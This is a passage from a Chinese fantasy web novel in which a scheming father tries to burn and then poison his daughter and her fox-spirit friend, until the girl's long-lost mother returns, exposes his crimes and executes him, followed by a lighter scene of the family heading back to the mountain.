林时陷入疯狂中,不顾一切的想要赶在风氏得知消息之前,弄死风妧! 这样就算风妧真知道了些什么,她也没法再开口了! 总之当年的事他一定要灭掉所有知情和有可能知情的人! 不管风妧是从哪里得到的风朔的玉佩,也不管她是不是真的找到了一些当年的线索,他都不能放过她! 他宁可杀错,也不能放过! 只有死人才能保守秘密! 林时的脸上露出一抹扭曲的笑容,心想,我这就送你去陪你娘! 这也算是提前帮风妧尽孝道,替风朔送慰藉了! 毕竟这可是她的亲生女儿有了风妧的陪伴,风朔在地下也能安息了吧。 这样他这些年受的煎熬也终于能结束了,不用再夜夜噩梦了。 林时丢出了火把。 男人们也学着他的样子,劈头盖脸的把火油火把往风妧和小狐狸身上扔。 许多火把砸在一起,聚出了更大的火焰。 火油和突如其来的风更让这场火烧得浓烟冲天。 在这么多人的团团包围下,风妧根本不可能逃得出去。 就算风妧身上有血脉禁咒,她也挡不住这么大的火! 只要多烧她一会,她便是再厉害也只能被烧成一捧灰! 看着冲天的火焰,众人欢呼起来。 “烧到她们了!她们跑不了了!我们成功了!!” 林时死死盯着火焰中的黑影渐渐变小,直到消失。 确定火焰中心的人不可能还活着后,他扑通一声,跪倒在地。 林时撕心裂肺的哭喊起来:“阿妧!我的女儿啊!” 他被浓烟熏黑的脸上流下两行泪水。 到这时,他才终于掺了一丝丝真心的,为那个可怜的孩子哭了出来。 那好歹也是我和风朔的亲女儿啊,林时心想,我本来不想杀你们的。 要怪,就只能怪你们自己非要跟我对着干。 林时假惺惺的流了几滴泪后,抬手抹掉了泪痕,重新站了起来。 他正想说些什么,来为这场除妖仪式做个总结,再趁机为自己捞点名望,却听到头顶传来一声冷笑。 风妧和小狐狸抱着胳膊,站在藏书阁的飞檐上,居高临下的看着这场闹剧。 早在火把袭来那一刻,她就趁着火焰的遮挡,丢下两张替身符,然后跟小狐狸一起跳上屋檐安静看戏了。 所以倒在火里的只是两个纸扎的傀儡而已。 林时抬头一看,嘴唇顿时哆嗦起来。 “你你你你!你怎么!还活着!” “连替身符都认不出来,林时,你还真是老糊涂了啊。”风妧嗤笑道。 风妧环视一圈,所有人顿时低下头,鹌鹑似的后退了两步。 娘吔!这么大的火都没烧死这妖孽,看来这真不是他们能对付得了的! 要不还是撤吧! 男人们心里直打鼓。 “这就想跑了?不想留下来继续烧我们了?”风妧的嘲讽声让众人的头更低了。 风妧从飞檐上跳下来,吓得众人连忙四散开,头也不回的跑了。 林时急了:“别跑!回来!都回来!这个妖孽没有那么可怕!我们能烧死她!都回来啊!” 但没人鸟他,一个个的跑得更快了。 林时恨恨的咬牙,可又拦不住那么多人要跑,只能眼睁睁的看着人一个接一个的跑掉。 眨眼间,刚刚还挤挤挨挨站了满院子的人,就全跑干净了。 “现在人没了,你还有什么招?都使出来试试?” 风妧冷笑着走向林时,指尖夹着一张烈火符。 “你要是没招了,那不如试试我的火如何?” 林时大叫起来:“逆女!你居然想弑父?!” 风妧:“哟,不装了?现在知道我是你女儿了?” 她手一摊:“你不是说我是妖孽吗?那这算哪门子弑父?妖孽杀人而已,这不是很正常?” 林时瞪着两个眼珠子,胸口急速起伏起来。 但很快,他就又想到了什么。 他往风妧的脚下看去。 风妧脚下什么都没有,只有一块块青石地砖。 然而林时却知道,在那些地砖下,有一个巨大无比的降妖法阵。 那是平安镇风府初建时,风朔亲手布下的大阵。 那阵法一旦开启,除非风朔本人亲自来停下阵法,否则阵中妖邪将十死无生。 林时又将目光看向跟风妧并肩的小狐狸。 他扯出一个丧心病狂的笑容来。 这个逆女,好像跟这个狐狸精交情挺好。 要是用她的命来威胁风妧,风妧还能袖手旁观吗? 不,她绝对不会。 林时很了解风妧的性子。 她像极了她娘。 别说是她的妖精好友了,就算是个无辜路妖,她也绝不会眼睁睁看着她送死的。 这娘俩都有一副妇人心肠,好骗得很。 所以,林时很快就想到了翻盘的办法。 他一个箭步冲向院中的庭灯。 庭灯的灯箱底部,藏着一个被尘封了十几年的阵眼机关。 这样的机关,整个风府里有数十处。 要是风朔在,她只消一个响指就能同时开启所有阵眼启动大阵,但林时没那个本事,只能手动去拧机关。 而且他一时之间没法全部开启阵法,只好先将院子里的几处阵眼打开再说。 这样阵法没法完全开启,但只封锁一个院子的话,应该也够用了。 林时的计划是先用这个院子里的小半拉阵法困住小狐狸,拖住风妧,他再趁机去开启别处的阵眼。 等全部阵眼启动,大阵开启,小狐狸生命垂危,风妧一定也会拼死救她。 到那时,林时就能以小狐狸的性命为筹码,逼迫风妧自裁。 林时的脑子飞速运转,很快就拧动机关,扭头又去拧下一个。 风妧的脚步一顿。 她抬起脚,发现脚下正有符文线条在被点亮。 第一道符文亮起,整个院子里嗡的一声。 小狐狸瞬间像是被压在了山底下一样,双腿一软。 “阿琅?!”风妧连忙放弃找林时的麻烦,转身扶起小狐狸:“你怎么了?!” 小狐狸感觉天旋地转,说话的声音都虚弱了几分:“不,不知道,头好痛,身上,没力气了” 她努力的想要顺着风妧的力道站起来,但却没成功。 虽然只是一道符文,但已经压迫得她喘不过气了。 针对妖的威压铺天盖地的朝小狐狸压去,让她连聚灵都做不到。 随着更多的符文亮起,小狐狸甚至能清晰的感觉到自己的灵力都在溃散。 四肢经脉丹田里都传来断裂般的痛楚,小狐狸张开嘴,哇的一声吐出一口鲜血,再也站不住了。 “阿琅?!阿琅!!” 风妧大惊,转头质问林时:“你究竟对阿琅做了什么?!” 不怪她连自家大阵都不知道,而是林时这些年像防贼一样防着她,什么都没告诉她。 所以此刻,风妧也只能焦急的质问林时。 没想到林时居然还真回答她了。 “这是伏妖大阵。”林时终于把这个院子里的机关都开启了,“专门对付妖精的阵法。” 亲眼看到小狐狸倒下去,又看到了风妧脸上的惊慌,林时顿时又觉得自己掰回了一成,又重新神气起来。 他走到庭院的垂花门前:“这个阵法是你娘当初留下的。” “那时候她时常要出去降妖,没空在家,又担心我一个人在家会遇险,便给我留了这么道伏妖阵。” 当然,也不止是给他一个人留的。 风朔当年还交待了他,若是平安镇上有恶妖来犯,就让他把大家都带回风府避难。 这阵法只伤妖不伤人,这样就算她本人不在镇上,也能保证大家不被恶妖所伤。 所以风府修建得格外的大,这个阵法也布得格外的严密。 只不过这些话林时才不会说出来,更不可能在遇到危险时开门救人。 他只告诉风妧,但凡有妖入阵,就只能被镇压至死。 “这个阵法已经十几年没启动过了没想到还是挺管用的嘛。” 林时又恢复了轻松的神色:“如果你娘当初没诓我的话,你的妖精朋友顶多能在里面坚持半个时辰。” “但要是我再去把别处阵眼全部开启了,她能撑住十息都算她命大。” “一旦大阵开启,她就会死得尸骨无存哦。” 林时笑嘻嘻的看向风妧:“阿妧,你想救她吗?” 风妧咬牙:“什么条件!你说!” 林时笑得更扭曲了:“我就知道!” “不过我的条件有点高哦。” 他用毒蛇一样的目光注视着风妧:“都说救人一命胜造七级浮屠,救妖的话,应该也差不多吧。” “这样大的功德,没条命来换,都显得不够尊重它,你说是吧?” 林时一字一句的吐出了自己的条件:“想救那个狐狸精,可以,用你的命来换。” 小狐狸一听就急了,拼死攥住风妧的袖子拼命摇头。 不要答应他!! 这老东西嘴里一句话都不能信!! 要是风妧自己跑了还能捡回一条命回,但要是信了他的鬼话,今天她俩都要死在这! 小狐狸当然也很怕死,但她更怕自己死了,仇人却还在世上活得好好的! 只有风妧赶紧走,以后有本事了再来帮她报仇,这才是最好的办法! 小狐狸已经虚弱得说话都喘气了,但她还是竭力告诉风妧,不要上当! 林时却假模假样的鼓起掌来。 “真是义薄云天呐。” “这样吧,看在你们情比金坚的份上,我向你们保证,今天只取你们其中一个的性命。” “当然,你们还有考虑的时间。” 说着,林时转身离去,不多时又端来一杯毒酒,放在院门口。 “看,现在选择给你们了。” 林时笑道:“谁死谁生,你们慢慢想吧。” 他竖起一根食指:“我去开启别处的阵眼,大概需要半刻钟。” “所以你们还有半刻钟的时间可以好好商量。” 风妧当时就想给林时一张烈火符。 但林时却摇了摇头:“别冲动哦阿妧,我死了,就没人知道该怎么停止这个阵法了哦。” 风妧顿时攥紧了拳头,不得不收回了符纸。 林时又道:“也别想破坏阵法,那是你娘留下的东西。” 他想提醒风妧,这既是她娘的遗物,也是她无法撼动的一座大山。 所以留给风妧的选择只有他给出的那两个。 要么她死,要么小狐狸死。 林时说完就走了。 院里顿时只剩下风妧和小狐狸。 小狐狸拼命摇头,用尽全身力气推开风妧:“走你走啊!” 她已经这样了,就算阵法停下也没力气逃走了,不如就用她一条命换风妧的命! “不!我不能丢下你不管!”风妧紧紧抱着小狐狸,痛哭失声:“都怪我!都怪我!” “如果不是我非要拉着你来风府,根本就不会有今天的事!” “阿琅,是我害了你!” 所以她今天无论如何都得救她。 “不!”小狐狸又吐出一口血:“你不走!以后!谁给我!报仇!” 她竭尽全力的去推风妧,可她现在被阵法针对,已经连抬手的力气都快没了。 更要命的是,还有越来越沉重的威压和杀意在朝她袭来。 林时果真去开启别处的阵眼了。 随着伏妖大阵的逐步开启,整个风府都逐渐被符文笼罩了起来。 镇上的百姓们都被阵法开启的嗡鸣声吓了一跳。 但大家壮着胆子往窗缝里一看,然后就惊了。 有些年纪大的老者还激动得手直抖:“这这这,这是风大人的符文哇!” “当年我们也曾见过大人降妖的英姿,那时候她也是用这种会发光的符文降服妖孽的!” 人们分不清每一道符文是什么,也不知道有什么用处,但大家只要知道那是风大人的符就够了! “有了风大人的符,这下妖精跑不掉了!” 当场就有人欢呼起来。 有人推开窗户,有人大着胆子迈出家门,还有人悄悄地商量着什么。 “整个风府都被罩起来了!看来现在全镇最安全的地方就是风府了,不如咱们也过去看看吧!” “是啊!去看看吧!有风大人的符,什么妖都别想伤害到咱们!” “走!看看去!” 众人越说越兴奋,竟真成群结队的朝风府去看热闹去了。 林时听到仆人来报,想了想,竟也没拦着大家,反而敞开大门,想用这一场降妖盛会为自己多积累些名声。 顺便也对外展示一下风府的余威,好叫镇上的众人不要忘了,他如今才是风府的主人! 于是很快,风府的院子里就来了一群凑热闹的群众。 这时阵法已经开启了大半,小狐狸连话都说不出来了,头顶也冒出了两只毛绒绒的耳朵。 她无力的歪倒在风妧怀里,四肢都已经被符文锁住,无法动弹,只能用眼神恳求风妧不要管她了。 看到她头顶的狐耳,人群里立刻有人惊叹起来。 “啊哟!真是妖!” 又看紧紧抱着小狐狸的风妧:“这个假冒风大小姐的果真也是妖吧?” 有人兴奋道:“她们现在动不了了!” 那个男人捡起一颗石头就朝风妧打去。 “妖孽!受死吧!” 马上有人就想学他,眼看着又要有石头打来。 但就在这时,有人站了出来。 萧慧张开双臂拦在风妧和小狐狸前面。 “大家不要冲动!请听我说!” 她转头看了一眼奄奄一息的小狐狸:“阿琅是妖,但我可以担保,她不是坏妖!” “这平安镇上,应该也不止我一个人认识她吧?她什么脾气秉性,你们不记得了吗?” “就算是人,也分好人坏人,妖难道就没有好妖和坏妖之分吗?!” 她大声疾呼,阻止众人朝小狐狸身上砸石头。 这时有些男人就不耐烦了:“你说这些屁话干嘛!妖就是妖,分什么好妖坏妖,全部打死就得了!” “就是!让开!不然连你一起打了!” 他们说着就要动手。 然而又有人站了出来,跟萧慧站在一起。 “我也可以保证,阿琅不是坏妖。”是苗大娘。 然后肉铺老板也站了出来,还有点心铺老板,常在摊子上买山货的客人十几个女人,组成了一道人墙。 小狐狸感动得想哭,但她的意识逐渐模糊了。 风妧感觉到她的呼吸正在变弱,她深吸一口气,知道自己不能再犹豫了。 她起身走向那杯毒酒。 这时一阵巨大的钟声响起,伏妖大阵终于全部开启了。 林时背着手走回来。 看到风妧拿起了毒酒,他心满意足的点了点头。 “这就对了嘛,你乖乖自裁,我还能留你个全尸。” 风妧双眼血红的瞪了他一眼,然后跟身前的十几位为阿琅站出来的好人交待遗言。 “各位愿意为阿琅站出来,我感激不尽,希望我走后大家能帮我照顾阿琅,她真的不是坏妖。” 女人们重重的点头。 风妧又看向林时:“林时,希望你说到做到,不要食言而肥!” “今天这杯毒酒我喝!但是你要是敢反悔不放过阿琅,我就算做鬼也会回来找你索命的!” 林时含笑答道:“好啊。” 心里却想,门都没有。 今天她俩都必须死在这! 眼看着风妧拿起毒酒送往嘴边,林时马上露出了志得意满的笑容。 但一道突如其来的声音打断了他的笑意。 也让在场所有人都不可置信的转身朝声音来源处看去。 “谁敢逼我儿自裁?!” 第62章 人群像潮水一样分开, 给声音的主人让出一条路来。 许多人还探头探脑的往那边看去,却只见一道极高挑的人影推着轮椅,缓缓走来。 一些年纪大的人顿时就惊呼起来。 “风大人?!是风大人!!您终于又回来了!” 年轻些的人没见过风朔, 也吃惊起来:“什么?!这就是风大人?真的假的!” “不是说风大人是很厉害的大地师吗?怎么是坐着轮椅来的?” “嘶!但是, 风大小姐确实长得很像她啊” 有人老泪纵横,有人窃窃私语, 但都没有挡着风朔,而是给她让开了一条路。 衔蝉给师尊推着轮椅, 健步如飞。 她一来就看到了正准备喝毒酒的风妧和已经连人形都维持不住的小狐狸,猫顿时就急了! 她才不管众人在惊呼些什么,推着师尊就火速往风妧身边跑。 风朔也抬手聚起一道灵力,打掉了风妧手里的毒酒,随后又轻描淡写的一挥手, 笼罩在整个风府上空的符文就消失了。 阵法关停,小狐狸终于不再被针对。 在看到衔蝉的那一瞬间,小狐狸就彻底放心了。 她长舒一口气,然后放心的任由自己脱力晕了过去。 “阿琅!!” 衔蝉一个箭步冲过去,跟风妧一起扶起晕倒的小狐狸。 见小狐狸状态实在不好,衔蝉想了想, 现场搓起了灵力团子, 往小狐狸嘴里塞。 几个灵力团子下肚,小狐狸的状态终于好些了, 人也悠悠转醒。 风朔见状,还教衔蝉如何给小狐狸做急救,用灵力帮她稳住丹田。 在她的指导下,小狐狸的情况肉眼可见的好转,很快便能顺着衔蝉搀扶的力道站起来了。 衔蝉就给她介绍:“阿琅, 详细情况我回头再跟你讲,长话短说就是这是我师尊!” 阿琅点点头,好奇的看了一眼风朔,老实巴交的喊了一声“前辈”。 风朔一看就知道这也是个实心眼的孩子,当场也送了她一道护身符。 这时众人便又嘀咕起来。 “这这这,该不会是妖变成的风大人吧?风大人怎么会跟妖待一起?” “林老爷呢?他一定分得出这个风大人是真是假!哎?林老爷怎么不见了?” “刚刚还在这呢!怎么一眨眼就不见了?他去哪了?” 人们这时才发现林时居然不知道什么时候跑掉了。 于是在场的议论声更嘈杂了。 但没有一个人敢冲上来质问风朔,甚至还有点想跑。 因为风朔刚刚随手关停阵法的那一手就已经证明了自己的实力,不管她是人是妖,都没人敢来触她的霉头。 所以众人偷偷瞄了一眼风朔,见她似乎无意杀人或者撵人后,才半是忐忑半是好奇的继续围观。 在众人围观下,风妧却像是呆住了一样,愣愣地看着风朔。 风朔早在看见风妧的那一刻,就知道她是自己的孩子了。 此刻她轻轻抬手在风妧面前晃了晃:“怎么?不认识了?” 风妧又愣了一下,然后嗷的一声扑进了风朔怀里。 “娘啊!!!”刚刚跟林时对峙都丝毫不虚的风妧,这时却哇的一声哭了出来:“你终于回来了!” 风妧似乎要把这些年的委屈都哭出来一样,边哭边絮叨:“我还以为,你真的不要我了呢!” 风朔叹息着摸了摸风妧的脑袋:“傻孩子,娘怎么会不要你。” “林时是怎么跟你说的?” 风妧一抹眼泪就开始告状:“他说你抛夫弃子,跟人跑了,不要我们了。” 风朔:“” 风妧继续告状:“他还用这个理由不许我学本事,说怕我学会了本事心就野了,以后会像你一样跟野男人跑掉。” 风朔冷静地捏碎了一块扶手。 “胆子大了啊,这小白眼狼。” 风妧撇撇嘴,疯狂告状:“你走后,他还又娶了个二房生了个儿子叫林路,想让他继承风府。” “为了让林路继承风府,他还背着风氏,把我卖给了穗城谭家。” “我跑了,林时就跟风氏说我被妖精抓走了,派人上山来降妖,但其实是想趁机霸占衔蝉她们的地。” “我拿着你留给我的玉佩,出来拦着风氏,林时见了玉佩就想杀我。” “在山上的时候他就已经动过一次手了,他不知道在哪弄来个狼妖,想弄死我,但有血脉禁咒,他没成功。” “所以现在他又造谣说我被妖精吃了,现在是画皮鬼,想借刀杀人让大家烧死我。” “我用你留给我的符躲过一劫,他就又用阿琅的性命要挟我自裁。” “好,好,好!”风朔深吸一口气,竭力压下情绪,先安抚风妧:“阿妧,别怕,有娘在,以后任何人都休想伤害你!” 风妧使劲点头:“嗯嗯!娘,所以你其实也是被林时害了,对吗?” 风朔:“嗯,我被他推下了悬崖,但运气好,没死。” 当年林时谎称自己被恶妖绑架引她去救他,却没想到她刚救下他,他反手就将她推下了悬崖。 那时候她对他几乎不设防,加上降妖时又受了些伤,一时不防就被推下去了。 风妧气愤极了:“我就知道!林时嘴里没有一句真话!” 她当场就开始撸袖子了:“娘!我要去给你报仇!” 她环顾四周,目露凶光:“林时呢?!他人呢!这就心虚跑路了吗!” 风妧目光扫过之处,所有人都连忙低头后退。 众人在心里感慨,娘呀,今天居然听到了一个这么大的惊天秘密! 原来风大人并没有抛夫弃子,而是被林时给暗害了! 这就算了,他害了妻子还想害女儿,竟是连一丝骨肉亲情都不顾! “呸!什么狼心狗肺的东西!”有人唾弃道:“我就说林时肯定不是好人吧,你们还不信我!” “这些年他装得像模像样的,但他娶二房生儿子的时候我就觉得他有问题了!” “是啊!当时不就有人说了他是想三代还宗吗?没想到真说准了!” “真不是个好东西啊!” 许多人小声唾弃林时,但也有些男人对此表示怀疑。 “她说什么就是什么?她是不是真正的风大人还是两说呢!” “就是,万一她们都是妖,是来骗咱们的呢?” “林老爷这些年在平安镇上没有功劳也有苦劳,怎么能这样揣测他!” “当年风大人一走了之,他独自一人留在平安镇抚养风大小姐也够不容易的了!” “娶二房这不也是人之常情?他总不能让风府断了香火吧?” “我呸!”有女人啐他:“难道风大小姐不在了?那个林路压根没有风氏血脉,他算哪门子的香火!” “还是说你觉得风大小姐不能像风大人承担重任?就因为她是女孩?” “我,我不是那个意思!” 刚刚说话的男人讪讪的后退一步:“哎呀跟你们这些女人说不清楚!一个个胡搅蛮缠的!” 人群中热闹非凡,说什么的都有。 衔蝉也扶着小狐狸,竖起耳朵吃了一肚子瓜。 原来风府往事居然这么劲爆! 林时的胆子是真不小啊! 猫长吁短叹,但很识趣的没有上前去打扰风朔风妧母子相认。 风朔这边,听完风妧的告状后,她当即开始动手。 她抬起手,把刚刚关闭的大阵修改了数道符文,重新启动。 又是一声嗡鸣,先前消散的符文换了个形态重新凝聚起来。 这一手顿时让所有怀疑她身份的人都默默闭嘴了。 风府大阵,除了风大人本人外,没人能随意更改! 那些之前就老泪纵横的人又哭了:“大人!您终于回来了啊!” 风朔朝众人拱手:“诸位,叙旧先往后稍稍,容我先处理些家务事。” 众人面面相觑,随后很懂事的点点头,麻溜的告辞。 虽然还是很想留下来继续围观啦,但风大人的家务事可不是那么好围观的。 人们一哄而散。 风府里又安静下来。 风妧把袖子挽得高高的,叉腰大喊:“林时!你个缩头乌龟!你有本事造谣害人,你有本事出来啊!” 现在亲娘回来了,风妧的心情一下子就好起来了,她底气十足的朝林时隔空喊话。 “你不是说我娘跟野男人跑了吗?现在我娘回来了,你倒是出来啊!” 已经跑到后院门口的林时一个踉跄,但他什么都顾不上了,闷头就要继续逃命! 风朔居然没死! 她又回来了! 她一定会杀了他的!! 巨大的恐慌笼罩了林时,他吓得浑身直哆嗦,收拾了一包袱细软就要逃命去。 什么风府什么权势他都不敢再想,甚至连亲儿子林路也没空再管,当即就要跑路! 可刚走到院门口,就有一道由符文组成的光幕把他给挡了回来。 林时一屁|股跌在地上,包袱里的金银细软撒了一地。 他想要爬起来继续跑,但身后传来的轮椅嘎吱声让他抖得更厉害了,挣扎了几次都没能爬起来。 “跑啊,怎么不继续跑了。” 风朔的怀里蹲着一只猫一只小狐狸,让风妧推着轮椅,慢条斯理的朝林时走来。 林时一边抖一边回头。 “我我我” 他抖得说不出话,额头上全是冷汗。 轮椅停在他身前。 风朔坐在轮椅上,垂眸俯视软倒在地上半天爬不起来的林时。 林时在她的注视下,哆哆嗦嗦的开了口。 “朔姐姐我,我知道错了” 风朔没有回应他,而是有一搭没一搭的摸着猫和狐狸,似乎想听他继续解释。 这给了林时一些勇气。 他转过身跪坐在风朔的轮椅前,像从前依偎在她膝头那样,伸出手去抱她的大腿。 风妧“噫”了一声,拉着轮椅后退了一大截,愣是没让林时的手碰到风朔。 林时:“” 风朔却没什么表示。 她只是朝他勾了勾手指:“过来,小白眼狼。” 林时又哆嗦了一下,跪在地上,一步一步的朝风朔爬去。 他边爬边哭:“朔姐姐,你听我解释,不是你想的那样,我没想过要害你” 风朔挑眉:“是吗?” 她的态度似乎给了林时一些错觉,林时马上为自己辩解起来。 “是,是的!我,我只是太害怕了,我怕你离开我,怕你不要我了!” “你已经是大地师了,为什么一定要回去晋级天师呢!” “你回去晋级,那些风氏的长老一定不会再放你回来的!到时候就只有我一个人了!” “你说过要对我负责,对我好的,你不能离开我!” 林时哭哭啼啼的解释:“那些风氏的长老一直看不起我,你要是走了,他们会杀了我的!” 所以他怕极了,怕风朔一去不回,更怕自己被早就看不惯他的风氏长老清算。 林时终于爬到了风朔面前,他像当年那样趴伏在她膝头,用和以前一样的哭腔向她哭诉。 从前只要他这么趴在她腿上软软的一哭,她就什么都会答应他。 他说风氏的人针对他,风朔就带他走。 他说害怕风朔变心,风朔就以天地为媒,招了他做小丈夫,给了他名分。 后来他走火入魔内丹碎裂,他一哭,风朔又给他刻下护身符,为他留了许多能自保的杀手锏。 “朔姐姐,不要怪我好不好我只是太爱你了,我只是不想你离开” 林时一边哭,一边懊悔这些年没有好好保养身材和脸蛋,不然今天风朔一定会马上原谅他的。 因为她曾经说过,他哭起来特别漂亮,只要他一哭,她的心就软了。 可现在他都哭了这么久了,她怎么还没来哄他? 她真的不爱他了吗? 可是她当年答应他要爱他护他一辈子的啊! 林时抽抽噎噎的往风朔膝头上靠,不断的提及当年,想要让风朔重新对他心软。 “我真的没有想过要害死你,呜,朔姐姐,你相信我,我其实是想跟你殉情的” “你掉下去后我也想跟你一起跳下去的,我没有想要你死!” 林时边哭边仰起脸,用和当年一样的姿态哭求风朔:“你相信我好不好” 风朔却没有像当年那样托着他的下巴哄他。 她只是冷淡地问他:“哦?那你殉了吗?” 林时的哭声一顿。 他缩了缩脖子:“我,我害怕朔姐姐,你知道的,我怕高,也怕疼” 他又哭了:“没有你,我什么都做不好” 所以他不是故意没跳的,他只是太害怕了。 他的胆子一直很小,风朔是知道的。 风朔看着哭得满脸泪的林时,像是真心软了似的,曲起一根食指给他擦了擦眼泪。 可就在林时以为她要原谅自己时,嘴边却被递了一个眼熟的杯子。 是他之前逼迫风妧自裁的那杯毒酒。 林时一下子就吓瘫了。 “不不不,朔姐姐,你不能杀我!你说过要一辈子对我好的!” 他哭得更凶了:“你答应过我的!” 风朔“啧”了一声。 她当年年少风流时确实答应过林时不少要求。 但此一时彼一时。 林时这家伙,该不会以为他犯下这么多罪孽后,只需要哭一哭就能获得原谅吧? 风朔开始反思自己。 难道是她当年真的给他宠傻了不成? 仔细想想,好像还真是。 因为当年的林时是真水嫩啊,又白又漂亮的纤弱少年郎,小嘴儿又甜,每天就跟在她屁|股后面追着喊姐姐,可甜了。 风朔倒也不是没见过漂亮少男,但比林时漂亮的没他听话,比他听话又没他漂亮。 他胜就胜在又乖又漂亮,虽然人不聪明,但正是因为他的笨拙才越显得惹人怜爱。 那时的风朔是力压八大世家的少年天才,意气风发,正是血气方刚年少风流的年纪, 又有一股锄强扶弱的侠义之气,哪里经得住这种诱惑。 都说美色头上是把刀,风朔那时看着林时漂亮的小脸蛋心想,我骨头硬,能挨几刀算几刀。 于是她欣然接受了这个乖乖软软的小漂亮,去哪都带着他。 可风氏的长老门很看不惯林时这个投靠来风氏,却没什么本事的小白脸。 他们想给风朔安排更门当户对的联姻。 天师堂堂主的亲儿子,怎么着也比林时这种废物点心更配得上风朔吧? 但没想到风朔却不肯答应这门婚事。 不肯答应就算了,她甚至还想跑。 拒绝联姻的少年天才当众挑翻十几位本家长老,带着林时扬长而去。 此举惊掉了无数人的下巴,也让风朔被嫡支除名,发配到了平安镇上。 然而风朔一点都不在乎。 她觉得比起留在已经腐朽的风氏,还不如出来自己另闯一番天地。 在平安镇,她没有丝毫不习惯,过得自由潇洒极了。 反而是林时更紧张惶恐,生怕她不要自己了,硬是扭着她要了个名分。 有了名分后,林时果然安心了不少,也更黏人了。 那段时间,风朔对他几乎是无有不应,他说什么都依他,他要什么都给他。 活脱脱一副被美色迷了心窍的没出息样。 可惜那时年少且心高气傲的风朔并没有察觉到温柔乡里暗藏着的危险。 她肆意的宠爱着林时,把他宠得胆子越来越大。 回忆往昔,风朔无奈扶额。 唉,真是丢人的往事啊。 但谁年轻时候没犯过点蠢呢? 只要及时改正就好。 在林时惊恐的眼神中,风朔伸手拉起林时。 “乖,张嘴。” 林时捂着嘴巴含着泪水拼命摇头。 “不,不要!” “朔姐姐,我知道错了,我会改的!不要杀我呜!” 他还想用当年的情谊打动风朔:“你以前都不会这样对我的!” 以前她什么都肯为他做,甚至为了他不惜挑翻风氏长老叛出家门,而不是像现在这样冷酷的想灌他毒酒! “等等。你好像误会了什么。” 风朔一手掐着林时的脖子,一手拿着酒杯,很认真地说道:“我可不是为了你挑翻的长老。” 林时只是顺带的。 她早就想离开风氏,林时只是给了她一个更好的借口。 并不存在什么冲冠一怒为蓝颜为了林时单挑十几位本家长老之类的。 她从头到尾反抗的都是风氏的束缚,拒绝联姻也只是不想一切都被安排。 林时他充其量就算是个她追求自由路上的漂亮战利品而已。 她带上他真的只是顺手。 毕竟那时候他那么水那么甜,带上又不亏。 所有人都说风朔当时是为爱昏了头,但只有风朔自己明白,她才不是为了爱情,她是为了自由。 “所以你别误会,我当时是挺爱你的,但你也别太高估自己。” 说完,风朔咔嚓一声卸掉了林时的下巴,完全没给他再说话的机会,就将那杯毒酒全部倒进了他嘴里。 林时的眼泪更汹涌了,他挣扎得很厉害,可不管他怎么挣扎,都挣不脱掐着他脖子的那只有力的手。 他只能徒劳的扒拉着风朔的手,用祈求的眼神看向风朔,希望她能再为自己心软一次。 但这一次,年老色衰的他已经没有那样的资本了。 所以他只能绝望的感受着毒酒划过喉咙带来的刺痛感 风朔随手扔开死不瞑目的林时和空了的酒杯,掸了掸袖子。 “好了,主犯解决了,接下来轮到从犯了。” 几十道符文首尾相连,组成十来根散发着光芒的锁链,眨眼间就把风府的仆人们全部抓到了风朔面前。 “啧,怎么全是生面孔?” 风朔有些意外:“这小白眼狼,下手这么狠,一个老人都没留?” “留了的留了的!”风妧举手抢答:“他留了一个老仆!是他的心腹!” 她麻溜的上前,把躲在人群里缩着脑袋的老仆揪了出来。 老仆一声不吭的垂着头,直到被掼倒在风朔的轮椅前,才嗫嚅着喊了一声“家主”。 看着这个从风氏跟来的老仆,风朔笑了。 她曲起指节敲了敲轮椅扶手:“林时那个小废物没那么大本事,说吧,你真正的主人是谁?” 不是她看不起林时,而是就林时那智商,根本不可能这么轻松的暗算到她。 这其中固然有她大意了的缘故,但那个抓走林时的恶妖来得也太巧了点。 风朔看向老仆:“你老实交代,我还可以考虑考虑留你一命。” “或者我把这小白眼狼的脑袋砍下来,给你的主人送去做礼物,如何?” 老仆依旧没吭声,片刻后,他扑通一声栽倒在地,气息全无。 嘴角还有一丝青黑的血迹缓缓流下。 风朔:“” 得,看来背后还是条大鱼。 连风氏的老仆都被收买成死士了。 风妧挠挠头:“娘,现在怎么办啊?” 风朔啧了一声:“该怎么办就怎么办吧。” “来人,把这个小白眼狼的脑袋砍了,用石灰封起来,剩下的半截拖去乱葬岗。” 仆人们面面相觑,看了看风妧又看了看风朔,最后从心的选择照办。 风妧一拍脑袋,又想起一件事:“还有林路!他怎么办?” 风朔想了想,问:“他娘呢?也在风府?” 风妧摇头:“他娘早就没了,我怀疑也是林时做的手脚。” 他想要篡夺风府,但又不敢太明目张胆,所以那个可怜的女人最后也成了林时手下的牺牲品。 风朔:“知道了,那就送他去陪林时吧。” 第63章 风朔用最快的速度, 重新掌握了风府。 她遣散了大部分仆人,又处理了林时和林路留下的一堆烂摊子,很快便将整个风府给清理干净了。 衔蝉跟着忙前忙后, 等风朔忙得差不多了, 又问她:“师尊,那你还跟咱们回山上去吗?” 风朔笑了:“当然要回, 我才做了一天的太上皇,还没享受够呢。” 衔蝉马上欢呼了一声。 说实话刚刚她还有点忐忑来着。 毕竟山上穷唧唧的, 哪哪都比不上风府。 衔蝉都做好心理准备,以后只能偶尔下山来看望师尊了。 没想到师尊居然愿意放下这偌大的风府跟她回山上去! 猫感动极了,竖起尾巴蹭了蹭风朔的手背。 风朔笑呵呵的左手摸猫右手摸风妧,怀里还有个小狐狸,竟油然而生一种从此归隐养老也不错的想法 “嘿嘿, 娘,我们一起回山上去!” 风妧眼睛亮晶晶的,又看向衔蝉,捅咕她一下:“诶,衔蝉,没想到咱俩现在是真的姐妹了哈!” 现在衔蝉拜了她娘为师, 那她在东坡子洞岂不是可以名正言顺的横着走! “我娘都是太上皇了, 我也要个职务!快给我安排一个!给我安排个有面儿的!” 衔蝉豪迈的一挥爪:“好!那封你做东坡子洞的二大王!” 风妧一下子就笑歪了嘴巴。 “我本来只想做战斗先锋的,但既然你都封我做二大王了, 那我就不推辞了或哈哈哈!” “那我以后叫你啥?老大?大姐?大王?哎呀我其实怎样都行!” 风朔看着两个孩子熟稔的相处态度,眼里笑意更甚。 随后她拍了拍风妧的脑袋:“按入门先后来算,你得叫衔蝉师姐。” 因为风妧虽然是亲生崽,但衔蝉却先入门,比风妧早了大半个月呢。 衔蝉一听眼睛就亮了。 她挺着毛绒绒的胸膛, 目光炯炯的看着风妧。 猫脸上似乎明明白白的写着“快喊师姐”四个大字。 风妧倒也不含糊,当场就响亮的喊了一声师姐。 衔蝉:如听仙乐耳暂明! 喵哈哈哈! 猫就喜欢做老大! 开山大师姐乐得胡须直抖,美滋滋的多了一个师妹。 